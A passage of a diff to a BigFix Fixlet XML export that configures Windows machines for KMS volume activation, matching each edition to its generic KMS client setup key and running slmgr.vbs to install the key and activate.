2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string value of selects "caption from win32_operatingsystem" of wmi))]]></Relevance>
-    <Relevance>/* is NOT a KMS Server */ not boolean value of selects &quot;IsKeyManagementServiceMachine from SoftwareLicensingProduct WHERE (LicenseStatus = 1 and (Name LIKE &apos;Windows(R), Server%25&apos; or Name LIKE &apos;Windows Server(R), Server%25&apos;))&quot; of wmi | true</Relevance>
-    <Relevance><![CDATA[not exists elements of intersection of (set of following texts of lasts "-" of tuple string items 1 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string values of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmi))]]></Relevance>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-12-09</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ, Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7, Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4, Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY, Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ, Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Windows Server 2012 Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4, Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ, Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G, Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4, Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG, Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX, Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH, Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ, Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4, Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX, Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC, Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y, Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648, Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8, Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT, Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV, Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D, Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2, Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ, Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG, Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP, Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3, Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC, Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK, NULL") }"
-
-// set clock if the time is off (must be less than 4 hours difference)
-if { 2*hour < absolute value of (now - apparent registration server time) }
-    // NOTE: this will set the client's clock to match it's parent relay, so hopefully it's clock is correct!
-    set clock
-endif
-
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" -ipk { parameter "KMSkey" }
-waithidden "{(pathname of system folder)}\cscript.exe" "{(pathname of system folder)}\slmgr.vbs" /ato]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Windows Activation - Set to KMS Activation - Windows
+  ID       : 23579
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2017-02-24T18:02:59
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Windows Activation - Set to KMS Activation - Windows</Title>
+    <Description><![CDATA[<P>This Fixlet configures Windows to use KMS activation using a pre-configured set of generic KMS keys. For this fixlet to work you must have&nbsp;a KMS server defined in DNS or have already defined a KMS server on your devices.</P>
+<P>Kudos, Compliments, and Thanks to @jgstew for providing the source content for this fixlet: <A href="https://bigfix.me/fixlet/details/21368">https://bigfix.me/fixlet/details/21368</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Inventory content please visit GitHub here: <A href="https://github.com/strawgate/C3-Inventory">https://github.com/strawgate/C3-Inventory</A></P>]]></Description>
+    <Relevance>/* Windows Only */ windows of operating system</Relevance>
+    <Relevance><![CDATA[/* Windows XP or Higher */ version of operating system >= "5.1"]]></Relevance>
+    <Relevance><![CDATA[exists elements of intersection of (set of tuple string items 0 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string value of selects "caption from win32_operatingsystem" of wmi))]]></Relevance>
+    <Relevance>/* is NOT a KMS Server */ not boolean value of selects &quot;IsKeyManagementServiceMachine from SoftwareLicensingProduct WHERE (LicenseStatus = 1 and (Name LIKE &apos;Windows(R), Server%25&apos; or Name LIKE &apos;Windows Server(R), Server%25&apos;))&quot; of wmi | true</Relevance>
+    <Relevance><![CDATA[not exists elements of intersection of (set of following texts of lasts "-" of tuple string items 1 of ("Microsoft Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG";"Microsoft Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY";"Microsoft Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Microsoft Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX";"Microsoft Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9";"Microsoft Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43";"Microsoft Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Microsoft Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2";"Microsoft Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ";"Microsoft Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9";"Microsoft Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ";"Microsoft Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ";"Microsoft Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Microsoft Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9";"Microsoft Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY";"Microsoft Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7";"Microsoft Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Microsoft Windows Server 2012 R2 Server Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX";"Microsoft Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9";"Microsoft Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Microsoft Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4";"Microsoft Windows 8 Professional N, XCVCF-2NXM9-723PB-MHCB7-2RYQQ";"Microsoft Windows 8 Enterprise, 32JNW-9KQ84-P47T8-D8GGY-CWCK7";"Microsoft Windows 8 Enterprise N, JMNMF-RHW7P-DMY6X-RF3DR-X2BQT, "&"Microsoft Windows Server 2012, BN3D2-R7TKB-3YPBD-8DRP2-27GG4";"Microsoft Windows Server 2012 N, 8N2M2-HWPGY-7PGT9-HGDD8-GVGGY";"Microsoft Windows Server 2012 Single Language, 2WN2H-YGCQR-KFX6K-CD6TF-84YXQ";"Microsoft Windows Server 2012 Country Specific, 4K36P-JN4VD-GDC6V-KDT89-DYFKP, "&"Microsoft Windows Server 2012 Server Standard, XC9B7-NBPP2-83J2H-RHMBY-92BT4";"Microsoft Windows Server 2012 MultiPoint Standard, HM7DN-YVMH3-46JC3-XYTG7-CYQJJ";"Microsoft Windows Server 2012 MultiPoint Premium, XNH6W-2V9GX-RGJ4K-Y8X6F-QGJ2G";"Microsoft Windows Server 2012 Datacenter, 48HP8-DN98B-MYWDG-T2DCC-8W83P, "&"Microsoft Windows 7 Professional, FJ82H-XT6CR-J8D7P-XQJJ2-GPDD4";"Microsoft Windows 7 Professional N, MRPKT-YTG23-K7D7T-X2JMM-QY7MG";"Microsoft Windows 7 Professional E, W82YF-2Q76Y-63HXB-FGJG9-GF7QX";"Microsoft Windows 7 Enterprise, 33PXH-7Y6KF-2VJC9-XBBR8-HVTHH";"Microsoft Windows 7 Enterprise N, YDRBP-3D83W-TY26F-D46B2-XCKRJ";"Microsoft Windows 7 Enterprise E, C29WB-22CC8-VJ326-GHFJW-H9DH4, "&"Microsoft Windows Server 2008 R2 Web, 6TPJF-RBVHG-WBW2R-86QPH-6RTM4";"Microsoft Windows Server 2008 R2 HPC edition, TT8MH-CG224-D3D7Q-498W2-9QCTX";"Microsoft Windows Server 2008 R2 Standard, YC6KT-GKW9T-YTKYR-T4X34-R7VHC";"Microsoft Windows Server 2008 R2 Enterprise, 489J6-VHDMP-X63PK-3K798-CPX3Y";"Microsoft Windows Server 2008 R2 Datacenter, 74YFP-3QFB3-KQT8W-PMXWJ-7M648";"Microsoft Windows Server 2008 R2 for Itanium-based Systems, GT63C-RJFQ3-4GMB6-BRFB9-CB83V, "&"Microsoft Windows Vista Business, YFKBB-PQJJV-G996G-VWGXY-2V3X8";"Microsoft Windows Vista Business N, HMBQG-8H2RH-C77VX-27R82-VMQBT";"Microsoft Windows Vista Enterprise, VKK3X-68KWM-X2YGT-QR4M6-4BWMV";"Microsoft Windows Vista Enterprise N, VTC42-BM838-43QHV-84HX6-XJXKV, "&"Microsoft Windows Web Server 2008, WYR28-R7TFJ-3X2YQ-YCY4H-M249D";"Microsoft Windows Server 2008 Standard, TM24T-X9RMF-VWXK6-X8JC9-BFGM2";"Microsoft Windows Server 2008 Standard without Hyper-V, W7VD6-7JFBR-RX26B-YKQ3Y-6FFFJ";"Microsoft Windows Server 2008 Enterprise, YQGMW-MPWTJ-34KDK-48M3W-X4Q6V, "&"Microsoft Windows Server 2008 Enterprise without Hyper-V, 39BXF-X8Q23-P2WWT-38T2F-G3FPG";"Microsoft Windows Server 2008 HPC, RCTX3-KWVHP-BR6TB-RB6DM-6X7HP";"Microsoft Windows Server 2008 Datacenter, 7M67G-PC374-GR742-YH8V4-TCBY3";"Microsoft Windows Server 2008 Datacenter without Hyper-V, 22XQ2-VRXRG-P8D42-K34TD-G3QQC";"Microsoft Windows Server 2008 for Itanium-Based Systems, 4DWFP-JF3DJ-B7DTH-78FJB-PDRHK"); set of (string values of selects "PartialProductKey from SoftwareLicensingProduct WHERE PartialProductKey is not NULL" of wmi))]]></Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-12-09</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "KMSkey" = "{ ((it as trimmed string) of preceding text of first ", " of following text of first ( (", " & it & ",") of (it as trimmed string) of ( if it does not contain "Professional" then ((preceding text of last "Pro" of it & "Professional" & following text of last "Pro" of it) | it) else it ) of unique values of (it as string as trimmed string) of values "ProductName" of keys "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion" of (x64 registries; x32 registries) ) of it) of ("NULL, Windows Server 2016 Datacenter, CB7KF-BWN84-R7R2Y-793K2-8XDDG, Windows Server 2016 Standard, WC2BQ-8NRM3-FDDYY-2BFGV-KHKQY, Windows Server 2016 Essentials, JCKRF-N37P4-C2D82-9YXRT-4M63B, "&"Windows 10 Professional, W269N-WFGWX-YVC9B-4J6C9-T83GX, Windows 10 Professional N, MH37W-N47XK-V7XM9-C7227-GCQG9, Windows 10 Enterprise, NPPR9-FWDCX-D2C8J-H872K-2YT43, Windows 10 Enterprise N, DPH2V-TTNVB-4X9Q3-TJR4H-KHJW4, "&"Windows 10 Education, NW6C2-QMPVW-D7KKK-3GKT6-VCFB2, Windows 10 Education N, 2WH4N-8QGBV-H22JP-CT43Q-MDWWJ, Windows 10 Enterprise 2015 LTSB, WNMTR-4C88C-JK8YV-HQ7T2-76DF9, Windows 10 Enterprise 2015 LTSB N, 2F77B-TNFGY-69QQF-B8YKP-D69TJ, Windows 10 Enterprise 2016 LTSB, DCPHK-NFMTC-H88MJ-PFHPY-QJ4BJ, Windows 10 Enterprise 2016 LTSB N, QFFDN-GRT3P-VKWWX-X7T3R-8B639, "&"Windows 8.1 Professional, GCRJD-8NW9H-F2CDX-CCM8D-9D6T9, Windows 8.1 Professional N, HMCNV-VVBFX-7HMBH-CTY9B-B4FXY, Windows 8.1 Enterprise, MHF9N-XY6XB-WVXMC-BTDCT-MKKG7, Windows 8.1 Enterprise N, TT4HM-HN7YT-62K67-RGRQJ-JFFXW, "&"Windows Server 2012 R2 Standard, D2N9P-3P6X9-2R39C-7RTCD-MDVJX, Windows Server 2012 R2 Datacenter, W3GGN-FT8W3-Y4M27-J84CP-Q3VJ9, Windows Server 2012 R2 Essentials, KNC87-3J2TX-XB4WP-VCPJV-M4FWM, "&"Windows 8 Professional, NG4HW-VH26C-733KW-K6F98-J8CK4, Windows 8 Professional N, 